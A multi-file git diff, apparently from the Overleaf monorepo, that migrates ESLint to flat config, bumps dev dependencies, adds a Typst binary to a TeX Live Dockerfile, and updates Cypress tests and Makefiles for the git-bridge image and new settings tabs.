"@eslint/js": "^10.0.1",
|
||||||
"@overleaf/eslint-plugin": "workspace:*",
|
"@overleaf/eslint-plugin": "workspace:*",
|
||||||
"@prettier/plugin-pug": "^3.4.0",
|
"@prettier/plugin-pug": "^3.4.0",
|
||||||
"@types/chai": "^4.3.0",
|
"@types/chai": "^4.3.0",
|
||||||
"@types/chai-as-promised": "^7.1.8",
|
"@types/chai-as-promised": "^7.1.8",
|
||||||
"@types/mocha": "^10.0.6",
|
"@types/mocha": "^10.0.6",
|
||||||
"@types/multer": "^2.1.0",
|
"@types/multer": "^2.1.0",
|
||||||
"@typescript-eslint/eslint-plugin": "8.50.0",
|
"@typescript-eslint/eslint-plugin": "^8.59.4",
|
||||||
"@typescript-eslint/parser": "^8.50.0",
|
"@typescript-eslint/parser": "^8.59.4",
|
||||||
"@vitest/eslint-plugin": "^1.5.0",
|
"@vitest/eslint-plugin": "^1.5.0",
|
||||||
"eslint": "^8.15.0",
|
"eslint": "^10.4.0",
|
||||||
"eslint-config-prettier": "^8.5.0",
|
"eslint-config-prettier": "^10.0.1",
|
||||||
"eslint-config-standard": "^17.0.0",
|
"eslint-formatter-unix": "^8.40.0",
|
||||||
"eslint-plugin-chai-expect": "^3.0.0",
|
"eslint-plugin-chai-expect": "^4.0.0",
|
||||||
"eslint-plugin-chai-friendly": "^0.7.2",
|
"eslint-plugin-chai-friendly": "^1.1.0",
|
||||||
"eslint-plugin-cypress": "^2.15.1",
|
"eslint-plugin-cypress": "^4.1.0",
|
||||||
"eslint-plugin-import": "^2.26.0",
|
"eslint-plugin-import": "^2.32.0",
|
||||||
"eslint-plugin-mocha": "^10.1.0",
|
"eslint-plugin-mocha": "^11.0.0",
|
||||||
"eslint-plugin-n": "^15.7.0",
|
"eslint-plugin-n": "^18.0.0",
|
||||||
"eslint-plugin-prettier": "^4.0.0",
|
"eslint-plugin-promise": "^7.2.1",
|
||||||
"eslint-plugin-promise": "^6.0.0",
|
|
||||||
"eslint-plugin-unicorn": "^56.0.0",
|
"eslint-plugin-unicorn": "^56.0.0",
|
||||||
|
"globals": "^17.6.0",
|
||||||
"prettier": "3.7.4",
|
"prettier": "3.7.4",
|
||||||
"prettier-plugin-groovy": "0.2.1",
|
"prettier-plugin-groovy": "0.2.1",
|
||||||
"typescript": "^5.9.3"
|
"typescript": "^5.9.3"
|
||||||
},
|
},
|
||||||
"engines": {
|
"engines": {
|
||||||
"node": ">=20.0.0"
|
"node": ">=20.19.0"
|
||||||
},
|
},
|
||||||
"resolutions": {
|
"resolutions": {
|
||||||
"@xmldom/xmldom": "0.8.13",
|
"@xmldom/xmldom": "0.8.13",
|
||||||
"argparse/underscore": "1.13.8",
|
"argparse/underscore": "1.13.8",
|
||||||
"east/underscore": "1.13.8",
|
"east/underscore": "1.13.8",
|
||||||
"referer-parser/js-yaml": "^4.1.0",
|
"referer-parser/js-yaml": "^4.1.1",
|
||||||
"sandboxed-module": "patch:sandboxed-module@npm%3A2.0.4#~/.yarn/patches/sandboxed-module-npm-2.0.4-f8b45aacc9.patch",
|
"sandboxed-module": "patch:sandboxed-module@npm%3A2.0.4#~/.yarn/patches/sandboxed-module-npm-2.0.4-f8b45aacc9.patch",
|
||||||
"request/tough-cookie": "5.1.2",
|
"request/tough-cookie": "5.1.2",
|
||||||
"request/form-data": "2.5.5",
|
"request/form-data": "2.5.5",
|
||||||
@@ -99,7 +101,6 @@
|
|||||||
"knip": "5.64.1",
|
"knip": "5.64.1",
|
||||||
"eslint-plugin-testing-library": "7.5.3",
|
"eslint-plugin-testing-library": "7.5.3",
|
||||||
"chart.js": "4.0.1",
|
"chart.js": "4.0.1",
|
||||||
"mock-fs": "5.2.0",
|
|
||||||
"@customerio/cdp-analytics-node": "0.3.9",
|
"@customerio/cdp-analytics-node": "0.3.9",
|
||||||
"@google-cloud/bigquery": "8.1.1",
|
"@google-cloud/bigquery": "8.1.1",
|
||||||
"moment": "2.29.4",
|
"moment": "2.29.4",
|
||||||
|
|||||||
@@ -1,29 +0,0 @@
|
|||||||
{
|
|
||||||
"extends": [
|
|
||||||
"eslint:recommended",
|
|
||||||
"standard",
|
|
||||||
"prettier"
|
|
||||||
],
|
|
||||||
"plugins": [
|
|
||||||
"unicorn"
|
|
||||||
],
|
|
||||||
"parserOptions": {
|
|
||||||
"ecmaVersion": 2020
|
|
||||||
},
|
|
||||||
"env": {
|
|
||||||
"node": true
|
|
||||||
},
|
|
||||||
"rules": {
|
|
||||||
// Do not allow importing of implicit dependencies.
|
|
||||||
"import/no-extraneous-dependencies": "error",
|
|
||||||
"unicorn/prefer-node-protocol": "error"
|
|
||||||
},
|
|
||||||
"overrides": [
|
|
||||||
// Extra rules for Cypress tests
|
|
||||||
{ "files": ["**/*.spec.ts"], "extends": ["plugin:cypress/recommended"] }
|
|
||||||
],
|
|
||||||
"ignorePatterns": [
|
|
||||||
"hotfix/",
|
|
||||||
"develop/"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
@@ -48,6 +48,12 @@ RUN curl -fsSL "https://github.com/quarto-dev/quarto-cli/releases/download/v${QU
|
|||||||
&& mkdir -p /var/www/.cache/quarto /var/www/.local/share \
|
&& mkdir -p /var/www/.cache/quarto /var/www/.local/share \
|
||||||
&& chown -R www-data:www-data /var/www/.cache /var/www/.local
|
&& chown -R www-data:www-data /var/www/.cache /var/www/.local
|
||||||
|
|
||||||
|
# Install official Typst binary (Quarto bundles a modified fork without --synctex)
|
||||||
|
# ---------------------------------------------------------------------------------
|
||||||
|
ARG TYPST_VERSION=0.13.1
|
||||||
|
RUN curl -fsSL "https://github.com/typst/typst/releases/download/v${TYPST_VERSION}/typst-x86_64-unknown-linux-musl.tar.xz" \
|
||||||
|
| tar -xJC /usr/local/bin --strip-components=1 "typst-x86_64-unknown-linux-musl/typst"
|
||||||
|
|
||||||
# Pre-install popular Quarto extensions
|
# Pre-install popular Quarto extensions
|
||||||
# -----------------------------------------------------------------------
|
# -----------------------------------------------------------------------
|
||||||
# Extensions land in /opt/quarto-extensions/_extensions/<author>/<name>/.
|
# Extensions land in /opt/quarto-extensions/_extensions/<author>/<name>/.
|
||||||
@@ -142,15 +148,11 @@ RUN mkdir /install-tl-unx \
|
|||||||
&& echo "tlpdbopt_autobackup 0" >> /install-tl-unx/texlive.profile \
|
&& echo "tlpdbopt_autobackup 0" >> /install-tl-unx/texlive.profile \
|
||||||
&& echo "tlpdbopt_install_docfiles 0" >> /install-tl-unx/texlive.profile \
|
&& echo "tlpdbopt_install_docfiles 0" >> /install-tl-unx/texlive.profile \
|
||||||
&& echo "tlpdbopt_install_srcfiles 0" >> /install-tl-unx/texlive.profile \
|
&& echo "tlpdbopt_install_srcfiles 0" >> /install-tl-unx/texlive.profile \
|
||||||
&& echo "selected_scheme scheme-basic" >> /install-tl-unx/texlive.profile \
|
&& echo "selected_scheme scheme-full" >> /install-tl-unx/texlive.profile \
|
||||||
&& echo "TEXDIR /usr/local/texlive" >> /install-tl-unx/texlive.profile \
|
&& echo "TEXDIR /usr/local/texlive" >> /install-tl-unx/texlive.profile \
|
||||||
&& /install-tl-unx/install-tl \
|
&& /install-tl-unx/install-tl \
|
||||||
-profile /install-tl-unx/texlive.profile \
|
-profile /install-tl-unx/texlive.profile \
|
||||||
-repository ${TEXLIVE_MIRROR} \
|
-repository ${TEXLIVE_MIRROR} \
|
||||||
&& /usr/local/texlive/bin/x86_64-linux/tlmgr install \
|
|
||||||
--repository ${TEXLIVE_MIRROR} \
|
|
||||||
latexmk \
|
|
||||||
texcount \
|
|
||||||
&& rm -rf /install-tl-unx
|
&& rm -rf /install-tl-unx
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,33 @@
|
|||||||
|
import { defineConfig, globalIgnores } from 'eslint/config'
|
||||||
|
import cypress from 'eslint-plugin-cypress/flat'
|
||||||
|
import path from 'node:path'
|
||||||
|
import baseConfig from '../eslint.config.mjs'
|
||||||
|
|
||||||
|
const ROOT_DIR = path.resolve(import.meta.dirname, '..')
|
||||||
|
|
||||||
|
export default defineConfig([
|
||||||
|
globalIgnores(['**/hotfix/', '**/develop/']),
|
||||||
|
{
|
||||||
|
basePath: ROOT_DIR,
|
||||||
|
extends: baseConfig,
|
||||||
|
languageOptions: {
|
||||||
|
ecmaVersion: 2020,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
// The cypress block in baseConfig has patterns rooted at the
|
||||||
|
// monorepo root (`server-ce/test/helpers/*.ts`). When ESLint loads
|
||||||
|
// this file (server-ce/eslint.config.mjs) as the closest config --
|
||||||
|
// which happens when running `yarn run lint` from
|
||||||
|
// /overleaf/server-ce/test/ -- patterns from baseConfig are
|
||||||
|
// resolved relative to /overleaf/server-ce/, so those cross-dir
|
||||||
|
// patterns don't match. Re-declare with paths relative to this
|
||||||
|
// config file.
|
||||||
|
files: [
|
||||||
|
'test/helpers/*.ts',
|
||||||
|
'test/cypress/support/*.{js,jsx,mjs,cjs,ts,tsx}',
|
||||||
|
'**/*.spec.ts',
|
||||||
|
],
|
||||||
|
...cypress.configs.recommended,
|
||||||
|
},
|
||||||
|
])
|
||||||
@@ -11,6 +11,7 @@ export TEX_LIVE_DOCKER_IMAGE ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/t
|
|||||||
export ALL_TEX_LIVE_DOCKER_IMAGES ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/texlive-full:2023.1,us-east1-docker.pkg.dev/overleaf-ops/ol-docker/texlive-full:2022.1
|
export ALL_TEX_LIVE_DOCKER_IMAGES ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/texlive-full:2023.1,us-east1-docker.pkg.dev/overleaf-ops/ol-docker/texlive-full:2022.1
|
||||||
export IMAGE_TAG_CE ?= sharelatex/sharelatex:main
|
export IMAGE_TAG_CE ?= sharelatex/sharelatex:main
|
||||||
export IMAGE_TAG_PRO ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pro:main
|
export IMAGE_TAG_PRO ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pro:main
|
||||||
|
export IMAGE_TAG_GIT_BRIDGE ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/git-bridge:main
|
||||||
export CYPRESS_SHARD ?=
|
export CYPRESS_SHARD ?=
|
||||||
export COMPOSE_PROJECT_NAME ?= test
|
export COMPOSE_PROJECT_NAME ?= test
|
||||||
export USER_UID=$(shell id -u)
|
export USER_UID=$(shell id -u)
|
||||||
|
|||||||
@@ -245,6 +245,7 @@ describe('admin panel', function () {
|
|||||||
'Deleted Projects',
|
'Deleted Projects',
|
||||||
'Audit Log',
|
'Audit Log',
|
||||||
'Sessions',
|
'Sessions',
|
||||||
|
'Personal Access Tokens',
|
||||||
]
|
]
|
||||||
cy.findAllByRole('tab').should('have.length', tabs.length)
|
cy.findAllByRole('tab').should('have.length', tabs.length)
|
||||||
tabs.forEach(tabName => {
|
tabs.forEach(tabName => {
|
||||||
|
|||||||
@@ -78,12 +78,12 @@ services:
|
|||||||
working_dir: $PWD
|
working_dir: $PWD
|
||||||
volumes:
|
volumes:
|
||||||
- $PWD:$PWD
|
- $PWD:$PWD
|
||||||
- $MONOREPO/libraries:$MONOREPO/libraries:ro
|
- $MONOREPO/libraries:$MONOREPO/libraries
|
||||||
- $MONOREPO/node_modules:$MONOREPO/node_modules:ro
|
- $MONOREPO/node_modules:$MONOREPO/node_modules
|
||||||
- $MONOREPO/.yarn:$MONOREPO/.yarn:ro
|
- $MONOREPO/.yarn:$MONOREPO/.yarn
|
||||||
- $MONOREPO/.yarnrc.yml:$MONOREPO/.yarnrc.yml:ro
|
- $MONOREPO/.yarnrc.yml:$MONOREPO/.yarnrc.yml
|
||||||
- $MONOREPO/package.json:$MONOREPO/package.json:ro
|
- $MONOREPO/package.json:$MONOREPO/package.json
|
||||||
- $MONOREPO/yarn.lock:$MONOREPO/yarn.lock:ro
|
- $MONOREPO/yarn.lock:$MONOREPO/yarn.lock
|
||||||
environment:
|
environment:
|
||||||
MONOREPO:
|
MONOREPO:
|
||||||
CYPRESS_SHARD:
|
CYPRESS_SHARD:
|
||||||
@@ -130,6 +130,7 @@ services:
|
|||||||
ALL_TEX_LIVE_DOCKER_IMAGES:
|
ALL_TEX_LIVE_DOCKER_IMAGES:
|
||||||
IMAGE_TAG_CE:
|
IMAGE_TAG_CE:
|
||||||
IMAGE_TAG_PRO:
|
IMAGE_TAG_PRO:
|
||||||
|
IMAGE_TAG_GIT_BRIDGE:
|
||||||
healthcheck:
|
healthcheck:
|
||||||
test: curl --fail http://localhost/status
|
test: curl --fail http://localhost/status
|
||||||
interval: 3s
|
interval: 3s
|
||||||
|
|||||||
@@ -44,6 +44,7 @@ describe('editor', function () {
|
|||||||
cy.log(`change project language to '${lng}'`)
|
cy.log(`change project language to '${lng}'`)
|
||||||
cy.findByRole('button', { name: 'Settings' }).click()
|
cy.findByRole('button', { name: 'Settings' }).click()
|
||||||
cy.findByRole('dialog').within(() => {
|
cy.findByRole('dialog').within(() => {
|
||||||
|
cy.findByRole('tab', { name: 'Spelling and language' }).click()
|
||||||
cy.findByLabelText('Spellcheck language').select(lng)
|
cy.findByLabelText('Spellcheck language').select(lng)
|
||||||
})
|
})
|
||||||
cy.get('body').type('{esc}')
|
cy.get('body').type('{esc}')
|
||||||
@@ -76,6 +77,7 @@ describe('editor', function () {
|
|||||||
cy.log('remove word from dictionary')
|
cy.log('remove word from dictionary')
|
||||||
cy.findByRole('button', { name: 'Settings' }).click()
|
cy.findByRole('button', { name: 'Settings' }).click()
|
||||||
cy.findByRole('dialog').within(() => {
|
cy.findByRole('dialog').within(() => {
|
||||||
|
cy.findByRole('tab', { name: 'Spelling and language' }).click()
|
||||||
cy.findByLabelText('Dictionary').click()
|
cy.findByLabelText('Dictionary').click()
|
||||||
})
|
})
|
||||||
cy.findByTestId('dictionary-modal').within(() => {
|
cy.findByTestId('dictionary-modal').within(() => {
|
||||||
|
|||||||
@@ -32,11 +32,12 @@ const PATHS = {
|
|||||||
const IMAGES = {
|
const IMAGES = {
|
||||||
CE: process.env.IMAGE_TAG_CE.replace(/:.+/, ''),
|
CE: process.env.IMAGE_TAG_CE.replace(/:.+/, ''),
|
||||||
PRO: process.env.IMAGE_TAG_PRO.replace(/:.+/, ''),
|
PRO: process.env.IMAGE_TAG_PRO.replace(/:.+/, ''),
|
||||||
|
GIT_BRIDGE: process.env.IMAGE_TAG_GIT_BRIDGE.replace(/:.+/, ''),
|
||||||
}
|
}
|
||||||
const LATEST = {
|
const LATEST = {
|
||||||
CE: process.env.IMAGE_TAG_CE.replace(/.+:/, '') || 'latest',
|
CE: process.env.IMAGE_TAG_CE.replace(/.+:/, '') || 'latest',
|
||||||
PRO: process.env.IMAGE_TAG_PRO.replace(/.+:/, '') || 'latest',
|
PRO: process.env.IMAGE_TAG_PRO.replace(/.+:/, '') || 'latest',
|
||||||
GIT_BRIDGE: 'latest', // TODO, build in CI?
|
GIT_BRIDGE: process.env.IMAGE_TAG_GIT_BRIDGE.replace(/.+:/, '') || 'latest',
|
||||||
}
|
}
|
||||||
|
|
||||||
function defaultDockerComposeOverride() {
|
function defaultDockerComposeOverride() {
|
||||||
@@ -242,7 +243,7 @@ function setVarsDockerCompose({
|
|||||||
|
|
||||||
cfg.services.sharelatex.image = `${pro ? IMAGES.PRO : IMAGES.CE}:${version === 'latest' ? (pro ? LATEST.PRO : LATEST.CE) : version}`
|
cfg.services.sharelatex.image = `${pro ? IMAGES.PRO : IMAGES.CE}:${version === 'latest' ? (pro ? LATEST.PRO : LATEST.CE) : version}`
|
||||||
cfg.services['git-bridge'].image =
|
cfg.services['git-bridge'].image =
|
||||||
`quay.io/sharelatex/git-bridge:${version === 'latest' ? LATEST.GIT_BRIDGE : version}`
|
`${IMAGES.GIT_BRIDGE}:${version === 'latest' ? LATEST.GIT_BRIDGE : version}`
|
||||||
|
|
||||||
cfg.services.sharelatex.environment = vars
|
cfg.services.sharelatex.environment = vars
|
||||||
|
|
||||||
|
|||||||
@@ -333,7 +333,7 @@ describe('SandboxedCompiles', function () {
|
|||||||
})
|
})
|
||||||
|
|
||||||
// https://github.com/overleaf/internal/issues/20216
|
// https://github.com/overleaf/internal/issues/20216
|
||||||
// eslint-disable-next-line mocha/no-skipped-tests
|
// eslint-disable-next-line mocha/no-pending-tests
|
||||||
describe.skip('unavailable in CE', function () {
|
describe.skip('unavailable in CE', function () {
|
||||||
if (isExcludedBySharding('CE_CUSTOM_1')) return
|
if (isExcludedBySharding('CE_CUSTOM_1')) return
|
||||||
startWith({ pro: false, vars: enabledVars, resetData: true })
|
startWith({ pro: false, vars: enabledVars, resetData: true })
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -54,6 +54,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -66,8 +70,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/chat/reports:/overleaf/services/chat/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/chat/reports:/overleaf/services/chat/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/chat/reports:/overleaf/services/chat/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/chat/reports:/overleaf/services/chat/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
chat
|
chat
|
||||||
--dependencies=mongo
|
--dependencies=mongo
|
||||||
|
--deploy-pipeline=chat
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -32,6 +32,7 @@ COPY libraries/overleaf-editor-core/package.json /overleaf/libraries/overleaf-ed
|
|||||||
COPY libraries/promise-utils/package.json /overleaf/libraries/promise-utils/package.json
|
COPY libraries/promise-utils/package.json /overleaf/libraries/promise-utils/package.json
|
||||||
COPY libraries/settings/package.json /overleaf/libraries/settings/package.json
|
COPY libraries/settings/package.json /overleaf/libraries/settings/package.json
|
||||||
COPY libraries/stream-utils/package.json /overleaf/libraries/stream-utils/package.json
|
COPY libraries/stream-utils/package.json /overleaf/libraries/stream-utils/package.json
|
||||||
|
COPY libraries/validation-tools/package.json /overleaf/libraries/validation-tools/package.json
|
||||||
COPY services/clsi/package.json /overleaf/services/clsi/package.json
|
COPY services/clsi/package.json /overleaf/services/clsi/package.json
|
||||||
COPY .yarn/patches/ /overleaf/.yarn/patches/
|
COPY .yarn/patches/ /overleaf/.yarn/patches/
|
||||||
|
|
||||||
@@ -45,6 +46,7 @@ COPY libraries/overleaf-editor-core/ /overleaf/libraries/overleaf-editor-core/
|
|||||||
COPY libraries/promise-utils/ /overleaf/libraries/promise-utils/
|
COPY libraries/promise-utils/ /overleaf/libraries/promise-utils/
|
||||||
COPY libraries/settings/ /overleaf/libraries/settings/
|
COPY libraries/settings/ /overleaf/libraries/settings/
|
||||||
COPY libraries/stream-utils/ /overleaf/libraries/stream-utils/
|
COPY libraries/stream-utils/ /overleaf/libraries/stream-utils/
|
||||||
|
COPY libraries/validation-tools/ /overleaf/libraries/validation-tools/
|
||||||
COPY services/clsi/ /overleaf/services/clsi/
|
COPY services/clsi/ /overleaf/services/clsi/
|
||||||
|
|
||||||
FROM app AS with-quarto
|
FROM app AS with-quarto
|
||||||
|
|||||||
+10
-4
@@ -25,6 +25,7 @@ IMAGE_CACHE ?= $(IMAGE_REPO):cache-$(shell cat \
|
|||||||
$(MONOREPO)/libraries/promise-utils/package.json \
|
$(MONOREPO)/libraries/promise-utils/package.json \
|
||||||
$(MONOREPO)/libraries/settings/package.json \
|
$(MONOREPO)/libraries/settings/package.json \
|
||||||
$(MONOREPO)/libraries/stream-utils/package.json \
|
$(MONOREPO)/libraries/stream-utils/package.json \
|
||||||
|
$(MONOREPO)/libraries/validation-tools/package.json \
|
||||||
$(MONOREPO)/services/clsi/package.json \
|
$(MONOREPO)/services/clsi/package.json \
|
||||||
$(MONOREPO)/.yarn/patches/* \
|
$(MONOREPO)/.yarn/patches/* \
|
||||||
| sha256sum | cut -d '-' -f1)
|
| sha256sum | cut -d '-' -f1)
|
||||||
@@ -54,6 +55,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -67,8 +72,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/clsi/reports:/overleaf/services/clsi/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/clsi/reports:/overleaf/services/clsi/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/clsi/reports:/overleaf/services/clsi/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/clsi/reports:/overleaf/services/clsi/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
@@ -165,8 +170,9 @@ test_acceptance_clean:
|
|||||||
$(DOCKER_COMPOSE_TEST_ACCEPTANCE) down -v -t 0
|
$(DOCKER_COMPOSE_TEST_ACCEPTANCE) down -v -t 0
|
||||||
|
|
||||||
test_acceptance_pre_run:
|
test_acceptance_pre_run:
|
||||||
docker pull us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pandoc:3.9
|
-docker pull us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pandoc:3.9
|
||||||
docker pull us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pandoc-staging:3.9
|
-docker pull us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pandoc-staging:3.9
|
||||||
|
-cd ../../ && docker build -t us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pdftocairo:24.02 dockerfiles/pdftocairo
|
||||||
ifneq (,$(wildcard test/acceptance/js/scripts/pre-run))
|
ifneq (,$(wildcard test/acceptance/js/scripts/pre-run))
|
||||||
